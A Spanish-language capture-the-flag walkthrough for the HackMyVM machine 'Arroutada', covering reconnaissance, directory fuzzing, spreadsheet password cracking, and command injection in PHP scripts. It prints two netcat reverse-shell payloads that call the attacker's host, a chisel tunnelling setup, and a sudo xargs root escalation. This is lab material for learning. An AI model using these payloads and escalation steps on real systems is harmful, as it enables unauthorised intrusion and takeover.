Arroutada Writeup - HackMyVM
Información |
---|
Máquina: Arroutada |
Creador: RiJaba1 |
SO: Linux |
Dificultad: Easy |
Descubrir IP
Hacemos un escaneo a a la red para descubrir que IP tiene la máquina
1
nmap -sP 192.168.0.0/24 | grep "scan"
Ya tenemos la IP de arroutada: 192.168.0.249
Enumeración
Realizamos un nmap para ver que servicios están corriendo en la máquina.
1
nmap -sVC 192.168.0.249
El parámetro -sVC es el conjunto de -sV (Service Version, te muestra las versiones de los servicios) y -sC (Script Scan, nos ayuda a encontrar vulnerabilidades conocidas).
Únicamente vemos un servicio HTTP en el puerto 80, visitamos la página web.
Encontramos solo una imagen, miramos en el código fuente de la página en busca de pistas.
Se encuentra la ruta de la imagen, vamos a ver si hay algo de información dentro del directorio /imgs, no tenemos éxito, solamente se encuentra en ese directorio la imagen “apreton.png” que es la que visualizamos en el index de la página.
Realizamos un dirb a la página y encontramos un directorio llamado /scout
El directorio me aparece tras hacer dos búsquedas. El motivo es que en la primera búsqueda use el diccionario /usr/share/wordlists/common.txt y solo me mostraba el directorio /imgs La segunda búsqueda la realicé con el diccionario big.txt y ahí obtuve el output de /scout
1
dirb http://192.168.0.249 /usr/share/wordlists/dirb/big.txt
En el directorio /scout encontramos una buena pista
El texto dice “Hola, Telly,
Acabo de recordar que teníamos una carpeta con algunos documentos compartidos importantes. El problema es que no sé en qué ubicación estaba inicialmente, pero sí sé la segunda ruta. Representado gráficamente: /scout/** ** /docs/
Con gratitud continua, J1.”
Con esto ya sabemos que tenemos que llevar acabo un fuzzing
1
gobuster fuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -u http://192.168.0.249/scout/FUZZ/docs
El parámetro -w hace referencia al diccionario a usar El parámetro -b especifica que códigos de estado deben ser ignorados El parámetro -u hace referencia a la URL a la que vamos a aplicar el fuzzing
Encontramos la url /scout/j2/docs, vamos a ella
Hay un total de 1000 archivos, un archivo txt llamado pass.txt que no contiene nada interesante, archivos sin extensión desde el z1 al z999 y solo tiene contenido el z206, lo descubrimos por el tamaño del archivo, mientras que todos tienen un tamaño de 0 el z206 tiene un tamaño de 27
Dentro podemos leer: “Ignore z*, please Jabatito”
Solo nos queda un archivo por ver y es el shellfields.ods
La extensión ods hace referencia a hojas de cálculo (OpenDocument Spreadsheet)
Al abrir el archivo shellfields.ods nos encontramos que nos pide una contraseña, vamos a intentar romperla con john.
1
libreoffice2john shellfile.ods > ods.hash
La herramienta john the ripper contiene una utilidad llamada libreoffice2john para obtener los hasesh de archivos de LibreOffice protegidos con contraseña
Usamos ahora john para romper el hash
1
john -w=/usr/share/wordlists/rockyou.txt ods.hash
Para ver la contraseña usamos
john -show ods.hash
Ya tenemos la password del archivo: john11
, entramos en la hoja de cálculo
Tenemos una nueva ruta, pero al introducirla nos lleva a una página en blanco con código HTTP 200 (que indica que la página cargo con éxito), no vemos nada en el código fuente ni con burpsuite.
Vamos a probar a fuzzear parámetros para comprobar si es vulnerable a ejecución de comandos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster fuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -u 192.168.0.249/thejabasshell.php?FUZZ=pwd --exclude-length 0
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.249/thejabasshell.php?FUZZ=pwd
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Exclude Length: 0
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/11/04 23:33:23 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=33] http://192.168.0.249/thejabasshell.php?a=pwd
Encuentra el término a
, hacemos un curl para ver si nos devuelve el resultado del pwd
, eso significaría que es vulnerable a ejecución de código remoto.
1
2
curl 'http://192.168.0.249/thejabasshell.php?a=pwd'
Error: Problem with parameter "b"
Nos lanza un error, falta un segundo parámetro, volvemos a hacer fuzzing esta vez sobre el parámetro que falta.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster fuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -u "192.168.0.249/thejabasshell.php?a=pwd&b=FUZZ" --exclude-length 33,301
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.249/thejabasshell.php?a=pwd&b=FUZZ
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Exclude Length: 33,301
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/11/04 23:49:36 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=14] http://192.168.0.249/thejabasshell.php?a=pwd&b=pass
Encontramos el segundo parámetro b=pass
, volvemos a intentar hacer el curl.
1
curl 'http://192.168.0.249/thejabasshell.php?a=pwd&b=pass'
Nos ejecuta el comando pwd con éxito, es decir, es vulnerable a una ejecución de código remota, vamos a montarnos una rever shell.
Para hacer la rever shell nos ayudaremos de la herramienta https://www.revshells.com/ ya que nos da la posibilidad de codificar la revshell en formato URL.
Dentro de la página añadimos nuestra IP y el puerto que queremos usar para la revshell.
Más abajo elegimos la shell que queremos crear y lo codificamos como URL
Ponemos el puerto elegido a la escucha, en mi caso es el 4444.
Y mandamos la solicitud a la página en el parámetro a=
pegamos la revshell codificada en URL seguida del &b=pass
tal que así:
1
http://192.168.0.249/thejabasshell.php?a=nc%20192.168.0.162%204444%20-e%20%2Fbin%2Fbash&b=pass
Ganamos acceso al servidor web desde la revshell que lanzamos, usaremos el comando script /dev/null -c bash
para ver el prompt en la terminal.
Vemos desde el directorio home a un user: drito
, vamos a intentar pivotar desde el servidor a drito
hacemos un sudo -l
sin obtener respuesta interesante, probamos con
1
find / -perm 4000 2>/dev/null
Este comando sirve para encontrar archivos con permisos SUID
Tampoco obtenemos respuesta, buscamos algún tipo de log de comandos haber si hay pistas sin éxito.
Probamos con
1
ss -tlp
El comando ss sirve para mostrar información sobre conexiones de red, sockets y estadísticas de red. Hemos juntado los siguientes parámetros: -t, listamos las conexiones TCP -l, nos muestra únicamente los sockets que están escuchando -p, lista los PID de los procesos
Encontramos un servicio TCP corriendo localmente en el puerto 8000, procedemos a hacer un port forwarding, la idea es crear un túnel entre el servidor web de Arroutada y nuestra máquina para ver que servicio hay en ese puerto.
Para ello usaremos la herramienta chisel
Otra opción es usar curl dentro del propio servidor web, desde donde hemos conseguido acceso para listar la información del puerto, pero no lo tenemos instalado, por eso la mejor opción es chisel.
Ahora debemos ver donde se encuentra chisel (en nuestro sistema) y pasarlo a la máquina víctima con wget y con un servicio web.
Primero debemos saber donde se encuentra chisel dentro de nuestra máquina para ello usaremos
1
which chisel
Nos movemos a la carpeta donde se encuentre (es posible que vosotros la tengáis en /usr/bin/chisel), dentro de la carpeta abrimos un servidor HTTP con python3
1
python3 -m http.server 80
Ahora en la máquina victima usaremos el wget para pasarnos el chisel desde nuestra máquina a la víctima, es importante que el wget lo realicemos en una carpeta donde tengamos permisos de escritura (carpeta tmp), porque si no dará un error y cerrará al conexión.
Para poder ejecutar y usar el comando chisel en la máquina victima nos tenemos que dar permisos de ejecución con chmod +x chisel
Creamos el chisel server en nuestra máquina
1
chisel server --reverse -p 1234
El comando indica que vamos a iniciar chisel en modo servidor El parámetro –reverse se usa para establecer una conexión de túnel inverso El parámetro -p indica el puerto de conexión
Creamos el client en la máquina víctima
1
./chisel client 192.168.0.162:1234 R:8000:127.0.0.1:8000
El comando indica que vamos a iniciar chisel en modo cliente El parámetro ip:port indica la IP y el puerto del servidor El parámetro R:port:ip:port configra un reenvío del puerto 8000 de la máquina víctima al puerto 8000 de nuestra máquina
Ahora ya tenemos acceso al puerto, vemos una web con un código.
El código parece codificado en lenguaje brainfuck, para decodificarlo nos vamos a esta página, descubrimos el texto decodificado
all HackMyVM hackers!!
Buscamos más pistas en el código fuente y encontramos lo siguiente:
Nos metemos en localhost:8000/priv.php y nos encontramos este código
1
2
3
4
5
6
7
8
9
10
Error: the "command" parameter is not specified in the request body.
/*
$json = file_get_contents('php://input');
$data = json_decode($json, true);
if (isset($data['command'])) {
system($data['command']);
} else {
echo 'Error: the "command" parameter is not specified in the request body.';
}
*/
El código permite ejecución de comando remoto, ya que no valida ni verifica el dato command
.
Probamos a usar una revsershell con curl desde el parámetro command:
1
curl -X POST "localhost:8000/priv.php" -d '{"command":"nc -e /bin/bash 192.168.0.162 4321"}'
Desde el puerto en escucha 1234 conseguimos pivotar a ditro, usamos:
1
script /dev/null -c bash
y encontramos la flag de user
Comenzamos con la escala de privilegios desde el user drito, probamos con un sudo -l
para comprobar si hay algún binario vulnerable.
Encontramos el binario xargs
lo buscamos en GTFObinsy encontramos una manera de vulnerarlo.
con el comando escalamos privilegios
1
sudo xargs -a /dev/null sh
Y ya tenemos acceso a la flag de root!
La flag esta codificada con dos sistemas de cifrado, BASE64 y ROT13
Para descifrar el base64 usaremos
1
echo "flag" | base64 -d
con el resultado de base64 descifraremos el ROT13 con
1
echo "flag" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Y como resultado tendremos la flag de root!